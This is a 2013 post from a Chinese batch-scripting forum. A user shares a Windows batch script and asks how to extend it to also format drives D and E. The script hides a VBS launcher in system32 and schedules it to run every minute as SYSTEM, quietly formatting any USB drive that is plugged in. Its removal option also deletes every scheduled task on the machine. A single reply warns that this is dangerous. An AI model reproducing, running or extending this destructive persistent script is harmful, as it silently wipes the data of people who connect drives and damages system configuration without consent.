Board logo

标题: [系统相关] 批处理如何在插入U盘时格式化D盘及E盘? [打印本页]

作者: fzhljl    时间: 2013-5-15 18:01     标题: 批处理如何在插入U盘时格式化D盘及E盘?

这个批处理只能在插入u盘时格式化u盘,能不能加一条语句,在插入u盘的时候同时格式化d盘和e盘,谢谢!
  1. @echo off
  2. :start
  3. echo.
  4. echo   本程序运行后,会在以后的每一天中每隔1分中扫描一次你的电脑是否连接USB驱动器...
  5. echo       (例:U盘、MP3/4、手机 等等...)      若有,则见一个格一个...嘿嘿嘿~~~~~
  6. echo   专门整治那些随便拿U盘来你电脑上烤东西的坏人~~~~~~     哈哈!
  7. echo   (注:不需要搞别人的时候最好关了这手段,不然自己不小心插了个U盘上去的话就自
  8. echo                                     己害自己了,文件丢了我可不负责哦~~ 嘿嘿...)
  9. set/p shr=(1、使用本手段 2、关闭本手段):
  10. if %shr%==1 goto shy
  11. if %shr%==2 goto bshy
  12. goto start
  13. :shy
  14. sc config schedule start= auto >nul 2>nul
  15. net start schedule /y >nul 2>nul
  16. if exist %windir%\system32\gsh.vbs (echo 帅哥~你现已经使用了本手段!不需再使用了,按任意键返回...& pause>nul&cls&goto start)
  17. echo CreateObject("WScript.Shell").Run "cmd /c gsh.bat",0 >%windir%\system32\gsh.vbs
  18. echo for %%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>%windir%\system32\gsh.bat
  19. echo fsutil fsinfo drivetype %%%%i: ^| findstr /i "可移动驱动器" ^&^& set cp=%%%%i ^&^& call :gsh>>%windir%\system32\gsh.bat
  20. echo ) ^>nul 2^>nul>>%windir%\system32\gsh.bat
  21. echo goto :eof>>%windir%\system32\gsh.bat
  22. echo :gsh>>%windir%\system32\gsh.bat
  23. echo echo.^|format %%cp:~0,1%%: /x /q>>%windir%\system32\gsh.bat
  24. echo goto :eof>>%windir%\system32\gsh.bat
  25. )
  26. )
  27. echo 正在应用本手段...
  28. schtasks /create /tn gsh /tr %windir%\system32\gsh.vbs /sc minute /mo 1 /ru "system" >nul 2>nul
  29. echo 恭喜~ 成功了! 以后只要谁把移动盘插到你电脑上的话..
  30. echo                         在1分中之内,他盘内文件将拜拜~~ 哈哈...
  31. echo                                                              按任意键退出...& pause>nul&exit
  32. :bshy
  33. if exist %windir%\system32\gsh.vbs (
  34. echo 删除计划任务...
  35. echo y|schtasks /tn * /delete >nul 2>nul
  36. echo 删除生成的"gsh.vbs"文件...
  37. del %windir%\system32\gsh.vbs
  38. echo 删除生成的"gsh.bat"文件...
  39. del %windir%\system32\gsh.bat
  40. echo.
  41. echo 关闭本手段成功!
  42. echo                                                              按任意键退出...& pause>nul&exit
  43. ) else (
  44. echo 还没使用过本手段~ 无法关哦!
  45. )
  46. echo                                                              按任意键返回...& pause>nul&goto start
复制代码

作者: wuhengsi    时间: 2013-5-16 08:30

随便删除格式化磁盘资料,这是很危险的动作哦。。。。




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2